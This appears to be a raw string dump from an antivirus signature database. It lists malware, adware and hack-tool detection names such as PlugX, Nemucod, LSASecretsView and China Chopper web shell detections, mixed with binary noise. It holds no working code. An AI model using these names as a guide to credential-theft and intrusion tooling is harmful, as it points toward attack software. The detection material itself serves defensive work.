G^n]#LowFi:BMLua:AccessibilityEscalation.A!oskU0Op;oY#PERSIST:TrojanDropper:Win32/Scieron.B!dhaU0 _ls:#LowFi:HSTR:Backdoor:Win32/Plugx!timecheck _ls:#LowFi:HSTR:Backdoor:Win32/Plugx!timecheckU0 t)#:1:z:2:NSIS_3_0_b1_zlib_solid-x86-unicode t)#:1:z:2:NSIS_3_0_b1_zlib_solid-x86-unicodeU0& {u:#LowFi:SCPT:TrojanDownloader:JS/Nemucod.ET {u:#LowFi:SCPT:TrojanDownloader:JS/Nemucod.ETU0 kyN#LowfiHSTR:SoftwareBundler:Win32/Prepscram kyN#LowfiHSTR:SoftwareBundler:Win32/PrepscramU0u ny]#LowFi:BMLua:AccessibilityEscalation.Z!osk ny]#LowFi:BMLua:AccessibilityEscalation.Z!oskU0 oy:#Lowfi:HSTR:Virtool:MSIL/Obfuscator.NetZ.A oy:#Lowfi:HSTR:Virtool:MSIL/Obfuscator.NetZ.AU0 zY#PERSIST:Lua:ContextExplorerZIPExtracted.A zY#PERSIST:Lua:ContextExplorerZIPExtracted.AU0 {:#LowFi:AGGR:TrojanDownloader:JS/Nemucod.DS {:#LowFi:AGGR:TrojanDownloader:JS/Nemucod.DSU0 ~)#:1:l:2:NSIS_3_0_b0_lzma_solid-x86-unicode ~)#:1:l:2:NSIS_3_0_b0_lzma_solid-x86-unicodeU0T) :#Lowfi:AGG:JS/Obfuscator.InnerScript.AAY.A :#Lowfi:AGG:JS/Obfuscator.InnerScript.AAY.AU0 :#LowFiExp:Win32/ContextualModJavawTempLike :#LowFiExp:Win32/ContextualModJavawTempLikeU0 Y#PERSIST:Lowfi:Backdoor:VBS/Brozerch.B!dha Y#PERSIST:Lowfi:Backdoor:VBS/Brozerch.B!dhaU0~ :#Lowfi:FileCreatedbySvchostLaunchSvchost.A :#Lowfi:FileCreatedbySvchostLaunchSvchost.AU0r :#Lowfi:AGGREGATOR:REG/DisallowedCert_AVast :#Lowfi:AGGREGATOR:REG/DisallowedCert_AVastU0 :#Lowfi:AGGR:HSTR:Win32/PossibleKeylogger.A :#Lowfi:AGGR:HSTR:Win32/PossibleKeylogger.AU0; :#Lowfi:Lua:TrojanDownloader:JS/Nemucod!ret :#Lowfi:Lua:TrojanDownloader:JS/Nemucod!retU0 :#Lowfi:HSTR:SoftwareBundler:Win32/Somoto.A :#Lowfi:HSTR:SoftwareBundler:Win32/Somoto.AU0bk2 Y#PERSIST:HSTR:HackTool:Win32/TranCee.A!dha Y#PERSIST:HSTR:HackTool:Win32/TranCee.A!dhaU03qL :#LowFi:SCRIPT:TrojanDownloader:VBS/Rtbot.A :#LowFi:SCRIPT:TrojanDownloader:VBS/Rtbot.AU0S :#LowfiREG/CompromisedCert_PSafe_Tecnologia :#LowfiREG/CompromisedCert_PSafe_TecnologiaU0 :#LowFi:SCPT:Exploit:JS/Meadgive.S_gen_main :#LowFi:SCPT:Exploit:JS/Meadgive.S_gen_mainU0 :#Lowfi:HSTR:VirTool:MSIL/GeneralPacker.S0C :#Lowfi:HSTR:VirTool:MSIL/GeneralPacker.S0CU0 :#Lowfi:BrowserModifier:Win32/KipodToolsCby :#Lowfi:BrowserModifier:Win32/KipodToolsCbyU0 )#:0:b:2:NSIS_3_01_strlen_bzip2-x86-unicode )#:0:b:2:NSIS_3_01_strlen_bzip2-x86-unicodeU0{:| :#Lowfi:AGGR:Au3ModFileVersionHdrMalStats70 :#Lowfi:AGGR:Au3ModFileVersionHdrMalStats70U0D :#Lowfi:PEPCODE:VirTool:Win32/Obfuscator.EH :#Lowfi:PEPCODE:VirTool:Win32/Obfuscator.EHU0 )#:1:l:2:NSIS_3_0_a2_lzma_solid-x86-unicode )#:1:l:2:NSIS_3_0_a2_lzma_solid-x86-unicodeU0VQm Y#PERSIST:Lowfi:Trojan:Win32/Salgorea.C!dha Y#PERSIST:Lowfi:Trojan:Win32/Salgorea.C!dhaU0 Y#PERSIST:HackTool:Win32/LSASecretsView!dha Y#PERSIST:HackTool:Win32/LSASecretsView!dhaU0 Y#PERSIST:TrojanDropper:Win32/Derusbi.C!dha Y#PERSIST:TrojanDropper:Win32/Derusbi.C!dhaU0C :#Lowfi:HSTR:VirTool:MSIL/ContrenreInjector :#Lowfi:HSTR:VirTool:MSIL/ContrenreInjectorU0& ]#LowFi:BMLua:AccessibilityEscalation.E!osk ]#LowFi:BMLua:AccessibilityEscalation.E!oskU0 :#Lowfi:HSTR:BrowserModifier:Win32/Neobar.D :#Lowfi:HSTR:BrowserModifier:Win32/Neobar.DU0s Y#PERSIST:HackTool:Win64/LSASecretsView!dha Y#PERSIST:HackTool:Win64/LSASecretsView!dhaU0 :#Lowfi:HSTR:Adware:Win32/PennyBeeLinkury.A :#Lowfi:HSTR:Adware:Win32/PennyBeeLinkury.AU0 :#Lowfi:PEBMPAT:Simda:AntiEmuTimeStampCheck :#Lowfi:PEBMPAT:Simda:AntiEmuTimeStampCheckU0 :#Lowfi:HSTR:Trojan:Win32/Kraziomel_bitcoin :#Lowfi:HSTR:Trojan:Win32/Kraziomel_bitcoinU0 ]#LowFi:BMLua:AccessibilityEscalation.D!osk ]#LowFi:BMLua:AccessibilityEscalation.D!oskU0 )#:1:l:2:NSIS_3_0_b2_lzma_solid-x86-unicode )#:1:l:2:NSIS_3_0_b2_lzma_solid-x86-unicodeU0- :#Lowfi:HSTR:Win32/Obfuscator.CrypterOnline :#Lowfi:HSTR:Win32/Obfuscator.CrypterOnlineU0P Y#PERSIST:HSTR:HackTool:Win32/Gabrielle!dha Y#PERSIST:HSTR:HackTool:Win32/Gabrielle!dhaU0 )#:1:z:2:NSIS_3_0_b3_zlib_solid-x86-unicode )#:1:z:2:NSIS_3_0_b3_zlib_solid-x86-unicodeU0 ]#LowFi:Behavior:Win32/ModRegServicesASEP.A ]#LowFi:Behavior:Win32/ModRegServicesASEP.AU0 :#LowfiSIGATTR:VirTool:Win32/Obfuscator.AEK :#LowfiSIGATTR:VirTool:Win32/Obfuscator.AEKU0 :#Lowfi:BRUTE:AdwareSafeSaver_ChromePlugin2 :#Lowfi:BRUTE:AdwareSafeSaver_ChromePlugin2U0[|S Y#PERSIST:HSTR:VirTool:Win32/Obfuscator.ALK Y#PERSIST:HSTR:VirTool:Win32/Obfuscator.ALKU05 :#Lowfi:SIGA:MSIL/Suspicious.CreateRunKey.B :#Lowfi:SIGA:MSIL/Suspicious.CreateRunKey.BU0 ]#ALF:BMLua:Win32/UacBypassLoadConnMgrDll.A ]#ALF:BMLua:Win32/UacBypassLoadConnMgrDll.AU0 :#Lowfi:SCPT:Trojan:PHP/CryptoPHP_injectPHP :#Lowfi:SCPT:Trojan:PHP/CryptoPHP_injectPHPU0 :#Lowfi:AGGR:SoftwareBundler:Win32/Somoto.A :#Lowfi:AGGR:SoftwareBundler:Win32/Somoto.AU0f :#LowfiSoftwareBundler:Win32/Protlerdob.ZZA :#LowfiSoftwareBundler:Win32/Protlerdob.ZZAU0q :#LowFi:Adware:Win32/Cashback!LikeyCleanPUS :#LowFi:Adware:Win32/Cashback!LikeyCleanPUSU0 :#Lowfi:SIGA:MSIL/Suspicious.HttpRequest.S1 :#Lowfi:SIGA:MSIL/Suspicious.HttpRequest.S1U0 )#:1:z:2:NSIS_3_0_a0_zlib_solid-x86-unicode )#:1:z:2:NSIS_3_0_a0_zlib_solid-x86-unicodeU0 :#LowFiExp:Win32/ContextualAccessJavaTempJc :#LowFiExp:Win32/ContextualAccessJavaTempJcU0| :#Lowfi:KCRC:VirTool:MSIL/GeneralPacker.S01 :#Lowfi:KCRC:VirTool:MSIL/GeneralPacker.S01U0 :#Lowfi:SCRIPT:Trojan:JS/DemocracySurveil.A :#Lowfi:SCRIPT:Trojan:JS/DemocracySurveil.AU0 :#LowFiSIGATTR:VirTool:Win32/Obfuscator.ADF :#LowFiSIGATTR:VirTool:Win32/Obfuscator.ADFU0k ]#LowFi:Behavior:Win32/DestructiveCMD.H!tel ]#LowFi:Behavior:Win32/DestructiveCMD.H!telU0 )#:1:l:2:NSIS_3_0_a1_lzma_solid-x86-unicode )#:1:l:2:NSIS_3_0_a1_lzma_solid-x86-unicodeU0L :#Lowfi:Lua:SuspiciousExeLegitNameInAppdata :#Lowfi:Lua:SuspiciousExeLegitNameInAppdataU0A Y#PERSIST_ContextualDropJavaTempLikeCorrupt Y#PERSIST_ContextualDropJavaTempLikeCorruptU0A Y#PERSIST_SoftwareBundler:Win32/Outbrowse.D Y#PERSIST_SoftwareBundler:Win32/Outbrowse.DU0 :#Lowfi:HSTR:Trojan:Win32/Cryptloader.A!dha :#Lowfi:HSTR:Trojan:Win32/Cryptloader.A!dhaU0Q :#Lowfi:do_exhaustivehstr_rescan_nivdort_ao :#Lowfi:do_exhaustivehstr_rescan_nivdort_aoU0= :#Worm:VBS/JenxcusBladabindi.FileDrop!Lowfi :#Worm:VBS/JenxcusBladabindi.FileDrop!LowfiU0 :#LowFi:KCRC:VirTool:Win32/AutoItInjectorVZ :#LowFi:KCRC:VirTool:Win32/AutoItInjectorVZU0b :#Lowfi:SCPT:Worm:VBS/Jenxcus!JunkDimIfThen :#Lowfi:SCPT:Worm:VBS/Jenxcus!JunkDimIfThenU0 :#Lowfi:AGGREGATOR:REG/DisallowedCert_Baidu :#Lowfi:AGGREGATOR:REG/DisallowedCert_BaiduU0 Y#PERSIST_TrojanDownloader:Win32/Putabmow.D Y#PERSIST_TrojanDownloader:Win32/Putabmow.DU0 :#Lowfi:AGGREGATOR:REG/DisallowedCert_Panda :#Lowfi:AGGREGATOR:REG/DisallowedCert_PandaU0 :#LowFi:SigAttr:Backdoor:Win64/Shoive.C!dha :#LowFi:SigAttr:Backdoor:Win64/Shoive.C!dhaU0 :#Lowfi:HSTR:VirTool:MSIL/GeneralPacker.S07 :#Lowfi:HSTR:VirTool:MSIL/GeneralPacker.S07U0`w :#Lowfi:HSTR:TrojanDownload:Win32/Bosclep.A :#Lowfi:HSTR:TrojanDownload:Win32/Bosclep.AU0 Y#PERSIST:TrojanDropper:Win32/Scieron.D!dha Y#PERSIST:TrojanDropper:Win32/Scieron.D!dhaU0~ :#Lowfi:PESTATIC:Trojan:Win64/DelfInt.B!dha :#Lowfi:PESTATIC:Trojan:Win64/DelfInt.B!dhaU0M :#Lowfi:AGGREGATOR:REG/DisallowedCert_Trend :#Lowfi:AGGREGATOR:REG/DisallowedCert_TrendU0 :#Lowfi:AGG:SWF/Obfuscator.NeutrinoEKLike.F :#Lowfi:AGG:SWF/Obfuscator.NeutrinoEKLike.FU0& :#SLF:Exploit:Win32/WinHttpAutoProxySvcDrop :#SLF:Exploit:Win32/WinHttpAutoProxySvcDropU0k :#LowFi:Adware:Win32/TopMoxie!LikeyCleanPUS :#LowFi:Adware:Win32/TopMoxie!LikeyCleanPUSU0{.E :#Lowfi:HSTR:BrowserModifier:Win32/Neobar.A :#Lowfi:HSTR:BrowserModifier:Win32/Neobar.AU0 Y#PERSIST:HSTR:VirTool:Win32/Obfuscator.AKS Y#PERSIST:HSTR:VirTool:Win32/Obfuscator.AKSU0 :#LowFi:Adware:Win32/Addendum!LikeyCleanPUS :#LowFi:Adware:Win32/Addendum!LikeyCleanPUSU0 :#Lowfi:HSTR:TrojanSpy:Win32/Wekrober_crypt :#Lowfi:HSTR:TrojanSpy:Win32/Wekrober_cryptU0 )#:1:z:2:NSIS_3_0_b0_zlib_solid-x86-unicode )#:1:z:2:NSIS_3_0_b0_zlib_solid-x86-unicodeU0^ Y#PERSIST:HSTR:Trojan:Win32/Boracefig.A!dha Y#PERSIST:HSTR:Trojan:Win32/Boracefig.A!dhaU0K :#Lowfi:SCRIPT:TrojanClicker:JS/Faceliker.A :#Lowfi:SCRIPT:TrojanClicker:JS/Faceliker.AU0 ]#Lowfi:Rep:CMD:Trojan:Win32/TrapsDisableAV ]#Lowfi:Rep:CMD:Trojan:Win32/TrapsDisableAVU0) :#Lowfi:HSTR:VirTool:MSIL/GeneralPacker.S0B :#Lowfi:HSTR:VirTool:MSIL/GeneralPacker.S0BU0 )#:1:l:2:NSIS_3_0_b1_lzma_solid-x86-unicode )#:1:l:2:NSIS_3_0_b1_lzma_solid-x86-unicodeU1 :#LowFi:Trojan:Win32/SuspiciousGetApiAddress :#LowFi:Trojan:Win32/SuspiciousGetApiAddressU1 :#LowFi:Adware:Win32/Advantage!LikeyCleanPUS :#LowFi:Adware:Win32/Advantage!LikeyCleanPUSU1 )#:1:b:2:NSIS_3_0_b0_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_0_b0_bzip2_solid-x86-unicodeU1!) :#Lowfi:HSTR:VirTool:Win32/Obfuscator.ACV!SF :#Lowfi:HSTR:VirTool:Win32/Obfuscator.ACV!SFU1 :#Lowfi:TrojanDownloader:O97M/Donoff.gen!E.1 :#Lowfi:TrojanDownloader:O97M/Donoff.gen!E.1U1* s :#Lowfi:SIGATTR:VirTool:Win32/Injector.gen!E s :#Lowfi:SIGATTR:VirTool:Win32/Injector.gen!EU1 N#Lowfi:Lua:SuspiciousExeFileInProgramData.A N#Lowfi:Lua:SuspiciousExeFileInProgramData.AU1 Y#PERSIST_ContextualDrop2JavaTempLikeCorrupt Y#PERSIST_ContextualDrop2JavaTempLikeCorruptU1w :#Lowfi:SCRIPTLOWFI:Trojan:AutoIt/Injector.C :#Lowfi:SCRIPTLOWFI:Trojan:AutoIt/Injector.CU1 :#Lowfi:HSTR:MSIL/Obfuscator.DotNetPatcher.A :#Lowfi:HSTR:MSIL/Obfuscator.DotNetPatcher.AU1 )#:1:l:2:NSIS_3_0_rc1_lzma_solid-x86-unicode )#:1:l:2:NSIS_3_0_rc1_lzma_solid-x86-unicodeU1D N#Lowfi:IOAVPEInZIPinTopLevelUncompressedZip N#Lowfi:IOAVPEInZIPinTopLevelUncompressedZipU1 :#LOWFI:HSTR:TrojanDownloader:Win32/Fendires :#LOWFI:HSTR:TrojanDownloader:Win32/FendiresU1* Y#PERSIST:LoD:VirTool:Win32/Obfuscator.ACV.2 Y#PERSIST:LoD:VirTool:Win32/Obfuscator.ACV.2U1 %]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l4 %]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l4U1 (:#LowFi:Adware:Win32/Kremiumad!LikeyCleanPUS (:#LowFi:Adware:Win32/Kremiumad!LikeyCleanPUSU1 (:#Lowfi:Lua:WrittenToDesktopFolderByExplorer (:#Lowfi:Lua:WrittenToDesktopFolderByExplorerU1&5 *Y#Persist:SCPT:Trojan:JS/Kilim_AutoIt_Chrome *Y#Persist:SCPT:Trojan:JS/Kilim_AutoIt_ChromeU1 +:#Lowfi:SCPT:Exploit:JS/Axpergle_inmem_lowfi +:#Lowfi:SCPT:Exploit:JS/Axpergle_inmem_lowfiU1 /+:#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.A /+:#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.AU1 _5,]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l8 _5,]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l8U1 v-:#Lowfi:VirTool:Win32/Obfuscator.ADB_Reveton v-:#Lowfi:VirTool:Win32/Obfuscator.ADB_RevetonU1 y/:#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.ANV y/:#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.ANVU1 0)#:1:b:2:NSIS_3_0_b3_bzip2_solid-x86-unicode 0)#:1:b:2:NSIS_3_0_b3_bzip2_solid-x86-unicodeU1d s0:#Lowfi:HSTR:BrowserModifier:ConsentBypass.I s0:#Lowfi:HSTR:BrowserModifier:ConsentBypass.IU1 2:#Lowfi:HSTR:TrojanDropper:MSIL/Bladabindi.C 2:#Lowfi:HSTR:TrojanDropper:MSIL/Bladabindi.CU1 2Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.NET.A 2Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.NET.AU1- K4:#Lowfi:Lua:WrittenToDownloadFolderByUpdater K4:#Lowfi:Lua:WrittenToDownloadFolderByUpdaterU1 8:#LowFiExp:Win32/ContextualAccessJavawTempJc 8:#LowFiExp:Win32/ContextualAccessJavawTempJcU1O 9:#Lowfi:HSTR:BrowserModifier:ConsentBypass.E 9:#Lowfi:HSTR:BrowserModifier:ConsentBypass.EU1 w::#Lowfi:SCRIPT:VirTool:Win32/Injector.gen!EP w::#Lowfi:SCRIPT:VirTool:Win32/Injector.gen!EPU1 :Y#PERSIST:Lowfi:Backdoor:Win32/Hikiti.G1!dha :Y#PERSIST:Lowfi:Backdoor:Win32/Hikiti.G1!dhaU1 =:#Lowfi:IOAVSingleStoredEXEInTopLevelRARFile =:#Lowfi:IOAVSingleStoredEXEInTopLevelRARFileU1 uk?:#Lowfi:Lua:SuspiciousHostExeFileInAppdata.A uk?:#Lowfi:Lua:SuspiciousHostExeFileInAppdata.AU17e A:#Lowfi:SIGA:Trojan:MSIL/SuspiciousRegAdd.S1 A:#Lowfi:SIGA:Trojan:MSIL/SuspiciousRegAdd.S1U1 A:#SCRIPT:Worm:VBS/Jenxcus.PostFunction!Lowfi A:#SCRIPT:Worm:VBS/Jenxcus.PostFunction!LowfiU16 B:#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.AJZ B:#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.AJZU1J E:#Lowfi:HSTR:TrojanDropper:MSIL/Bladabindi.B gwSE:#Lowfi:HSTR:TrojanSefnit_packer3_clickfraud E:#Lowfi:HSTR:TrojanDropper:MSIL/Bladabindi.BU1gwSE:#Lowfi:HSTR:TrojanSefnit_packer3_clickfraudU1 tG:#Lowfi:HSTR:BrowserModifier:ConsentBypass.H tG:#Lowfi:HSTR:BrowserModifier:ConsentBypass.HU1DA HY#PERSIST:Lowfi:SCPT:PHP/ChopperWebShell!dha HY#PERSIST:Lowfi:SCPT:PHP/ChopperWebShell!dhaU1 IY#PERSIST:HSTR:Exploit:Win32/DouglasTran!dha IY#PERSIST:HSTR:Exploit:Win32/DouglasTran!dhaU1 l;KY#PERSIST:SoftwareBundler:Win32/Vittalia.ZZA l;KY#PERSIST:SoftwareBundler:Win32/Vittalia.ZZAU1 K)#:1:l:2:NSIS_3_0_strlen_lzma_solid-x86-ansi K)#:1:l:2:NSIS_3_0_strlen_lzma_solid-x86-ansiU1 N:#Lowfi:HSTR:BrowserModifier:ConsentBypass.D N:#Lowfi:HSTR:BrowserModifier:ConsentBypass.DU1 5R)#:1:b:2:NSIS_3_0_a1_bzip2_solid-x86-unicode 5R)#:1:b:2:NSIS_3_0_a1_bzip2_solid-x86-unicodeU1`# R]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l5 R]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l5U1y U]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l1 U]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l1U1 WX:#LowFi:Adware:Win32/GameVance!LikeyCleanPUS WX:#LowFi:Adware:Win32/GameVance!LikeyCleanPUSU1~ Y:#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A4 Y:#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A4U1 l:Z:#Lowfi:Lua:WrittenToDesktopFolderByArchiver Ko2[]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l9 l:Z:#Lowfi:Lua:WrittenToDesktopFolderByArchiverU1Ko2[]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l9U1 \\:#Lowfi:SoftwareBundler:Win32/InstallMonster \\:#Lowfi:SoftwareBundler:Win32/InstallMonsterU1 ]:#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.K ]:#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.KU1 ^Y#PERSIST:HSTR:HackTool:Win32/OmarPWDump!dha ^Y#PERSIST:HSTR:HackTool:Win32/OmarPWDump!dhaU1 e:#Lowfi:SIGATTR:TrojanSpy:Win32/Bancos.ALJ.1 e:#Lowfi:SIGATTR:TrojanSpy:Win32/Bancos.ALJ.1U1MB eY#Persist:Trojan:Win32/Wysotot_BrowserModify 0+EgY#PERSIST:LowFi:VirTool:Win32/Obfuscator.AKE eY#Persist:Trojan:Win32/Wysotot_BrowserModifyU10+EgY#PERSIST:LowFi:VirTool:Win32/Obfuscator.AKEU1 g:#Lowfi:HSTR:VirTool:MSIL/Crpyter.Ahmadkifre g:#Lowfi:HSTR:VirTool:MSIL/Crpyter.AhmadkifreU1 gY#Lowfi:HSTR:VirTool:MSIL/Crpyter.Ahmadkifre gY#Lowfi:HSTR:VirTool:MSIL/Crpyter.AhmadkifreU1P g)#:1:b:2:NSIS_3_0_a2_bzip2_solid-x86-unicode g)#:1:b:2:NSIS_3_0_a2_bzip2_solid-x86-unicodeU1F Wj:#Lowfi:SCPT:TrojanDropper:Win32/Fynlonski.A Wj:#Lowfi:SCPT:TrojanDropper:Win32/Fynlonski.AU1 k:#Lowfi:SCRIPT:TrojanDropper:Win32/Sarvdap.A k:#Lowfi:SCRIPT:TrojanDropper:Win32/Sarvdap.AU1@ `o:#Lowfi:HSTR:VirTool:Win32/GeneralPacker.S04 `o:#Lowfi:HSTR:VirTool:Win32/GeneralPacker.S04U1 s:#Lowfi:PESTATIC:Backdoor:Win32/NetWiredRC.B s:#Lowfi:PESTATIC:Backdoor:Win32/NetWiredRC.BU1 $Rt:#Lowfi:AGGREGATOR:REG/DisallowedCert_McAfee $Rt:#Lowfi:AGGREGATOR:REG/DisallowedCert_McAfeeU1 wY#PERSIST:Cutwail_Upatre_GameOver_Obfuscator wY#PERSIST:Cutwail_Upatre_GameOver_ObfuscatorU1 8z:#LowFi:Adware:Win32/FlvDirect!LikeyCleanPUS 8z:#LowFi:Adware:Win32/FlvDirect!LikeyCleanPUSU1  E{Y#PERSIST_HSTR:TrojanDropper:Win32/Filcout.A v'\\|:#Lowfi:HSTR:VirTool:Win32/Injector.CL!lowfi blO}:#LowFi:TrojanDownloader:Java/OpenConnection E{Y#PERSIST_HSTR:TrojanDropper:Win32/Filcout.AU1v'\\|:#Lowfi:HSTR:VirTool:Win32/Injector.CL!lowfiU1blO}:#LowFi:TrojanDownloader:Java/OpenConnectionU1 :#LowFiExp:Win32/ContextualModJavaTempLikeJc :#LowFiExp:Win32/ContextualModJavaTempLikeJcU1 :#Lowfi:SIGATTR:Trojan:Win32/Startpage.gen!A :#Lowfi:SIGATTR:Trojan:Win32/Startpage.gen!AU1 Y#PERSIST_ContextualDropJavawTempLikeCorrupt Y#PERSIST_ContextualDropJavawTempLikeCorruptU1# :#LowFi:Adware:Win32/Koutodoor!LikeyCleanPUS :#LowFi:Adware:Win32/Koutodoor!LikeyCleanPUSU1 :#Lowfi:HSTR:VirTool:Win32/Obfuscator.ADB!EP :#Lowfi:HSTR:VirTool:Win32/Obfuscator.ADB!EPU1 )#:1:z:2:NSIS_3_0_rc1_zlib_solid-x86-unicode )#:1:z:2:NSIS_3_0_rc1_zlib_solid-x86-unicodeU1& Y#PERSIST:Lowfi:PEBMPAT:AntiEmuTimeStampREAD Y#PERSIST:Lowfi:PEBMPAT:AntiEmuTimeStampREADU1 Y#PERSIST_SIGATTR:Program:Win32/OptimizerPro Y#PERSIST_SIGATTR:Program:Win32/OptimizerProU1 )#:1:b:2:NSIS_3_0_b2_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_0_b2_bzip2_solid-x86-unicodeU1- :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.APC :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.APCU1K`o )#:0:l:2:NSIS_3_0_b2_strlen_lzma-x86-unicode )#:0:l:2:NSIS_3_0_b2_strlen_lzma-x86-unicodeU1 :#Lowfi:LUA:TrojanDropper:Win32/Exdrop.gen!A :#Lowfi:LUA:TrojanDropper:Win32/Exdrop.gen!AU1 :#Lowfi:HSTR:SefnitClickfraudComponent_Type2 :#Lowfi:HSTR:SefnitClickfraudComponent_Type2U1 )#:1:b:2:NSIS_3_0_b1_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_0_b1_bzip2_solid-x86-unicodeU1$ :#Lowfi:AGG:TrojanDownloader:Win32/Papdoof.A :#Lowfi:AGG:TrojanDownloader:Win32/Papdoof.AU1)@ :#LowFi:Adware:Win32/ArcadeWeb!LikeyCleanPUS :#LowFi:Adware:Win32/ArcadeWeb!LikeyCleanPUSU1 :#Lowfi:HSTR:BrowserModifier:ConsentBypass.B :#Lowfi:HSTR:BrowserModifier:ConsentBypass.BU1 :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.AOQ :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.AOQU1 Y#PERSIST:HSTR:VirTool:Win32/QuarkPwDump!dha Y#PERSIST:HSTR:VirTool:Win32/QuarkPwDump!dhaU1 ]#LowFi:Lua:Worm:JS/Bondat!LnkTargetJs_lowfi ]#LowFi:Lua:Worm:JS/Bondat!LnkTargetJs_lowfiU1 :#LowFiExp:Win32/ContextualDropJavawTempLike :#LowFiExp:Win32/ContextualDropJavawTempLikeU1K~ :#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A2 :#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A2U1 :#LowFi:SIGATTR:VirTool:JS/Obfuscator!Bondat :#LowFi:SIGATTR:VirTool:JS/Obfuscator!BondatU18 :#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.B :#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.BU1% Y#PERSIST:TrojanDropper:Win32/Seenabhi.A!dha Y#PERSIST:TrojanDropper:Win32/Seenabhi.A!dhaU1 :#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.M :#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.MU1 :#LowFi:Adware:Win32/PigSearch!LikeyCleanPUS :#LowFi:Adware:Win32/PigSearch!LikeyCleanPUSU1 :#LowFi:HSTR:VirTool:Win32/VBInject_emotet.4 :#LowFi:HSTR:VirTool:Win32/VBInject_emotet.4U1( :#Lowfi:SIGATTR:TrojanDownloader:VBS/Adodb.B :#Lowfi:SIGATTR:TrojanDownloader:VBS/Adodb.BU1 :#LowFiExp:Win32/ContextualDrop2JavaTempLike :#LowFiExp:Win32/ContextualDrop2JavaTempLikeU1z{* :#Lowfi:TrojanDownloader:PowerShell/Drixed.A :#Lowfi:TrojanDownloader:PowerShell/Drixed.AU1U ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l3 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l3U1LB ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l7 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l7U1 :#LowFi:Adware:Win32/Enumerate!LikeyCleanPUS :#LowFi:Adware:Win32/Enumerate!LikeyCleanPUSU1 )#:1:z:2:NSIS_3_0_strlen_zlib_solid-x86-ansi )#:1:z:2:NSIS_3_0_strlen_zlib_solid-x86-ansiU1r :#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.L :#Lowfi:AGGREGATOR:TrojanSpy:Win32/Nivdort.LU1 :#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.C :#Lowfi:SIGATTR:TrojanDropper:Win32/Sefnit.CU1 :#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A3 :#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A3U1 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l6 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l6U1J :#LowFi:HSTR:TrojanSpy:Win32/Xtrat!WriteFile :#LowFi:HSTR:TrojanSpy:Win32/Xtrat!WriteFileU1 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l2 ]#LowFi:Trojan:Win32/OfficeStartupAbuse.A!l2U1 :#Lowfi:SIGATTR:TrojanClickerClikugInstaller :#Lowfi:SIGATTR:TrojanClickerClikugInstallerU1zW :#Lowfi:HSTR:BrowserModifier:ConsentBypass.C :#Lowfi:HSTR:BrowserModifier:ConsentBypass.CU1 :#Lowfi:SIGATTR:TrojanDropper:Win32/Bradop.B :#Lowfi:SIGATTR:TrojanDropper:Win32/Bradop.BU1 :#LowFiSIGATTR:Trojan:Win32/CopySelf_AppData :#LowFiSIGATTR:Trojan:Win32/CopySelf_AppDataU1c :#Lowfi:HSTR:BrowserModifier:ConsentBypass.G :#Lowfi:HSTR:BrowserModifier:ConsentBypass.GU1=Y :#Lowfi:Lua:WrittenToDownloadFolderByTorrent :#Lowfi:Lua:WrittenToDownloadFolderByTorrentU1 :#Lowfi:Lua:WrittenToDownloadFolderByBrowser :#Lowfi:Lua:WrittenToDownloadFolderByBrowserU1Ih :#Lowfi:HSTR:VirTool:MSIL/BitmapDecryption.B :#Lowfi:HSTR:VirTool:MSIL/BitmapDecryption.BU1 :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.APF :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator.APFU1 :#HSTR:TrojanDropper:Win32/Evotob_Decryption :#HSTR:TrojanDropper:Win32/Evotob_DecryptionU1Y )#:0:z:2:NSIS_3_0_b2_strlen_zlib-x86-unicode )#:0:z:2:NSIS_3_0_b2_strlen_zlib-x86-unicodeU1 :#Lowfi:ImpHash:VirTool:Win32/Obfuscator.APD :#Lowfi:ImpHash:VirTool:Win32/Obfuscator.APDU1dp# Y#PERSIST:TrojanDropper:Win32/Noratops.A!dha Y#PERSIST:TrojanDropper:Win32/Noratops.A!dhaU1) _#TELPER:SCRIPT:MpTamperAmsiScanExcludeDrive _#TELPER:SCRIPT:MpTamperAmsiScanExcludeDriveU1I :#Lowfi:HSTR:VirTool:MSIL:Injector.Fomaltons 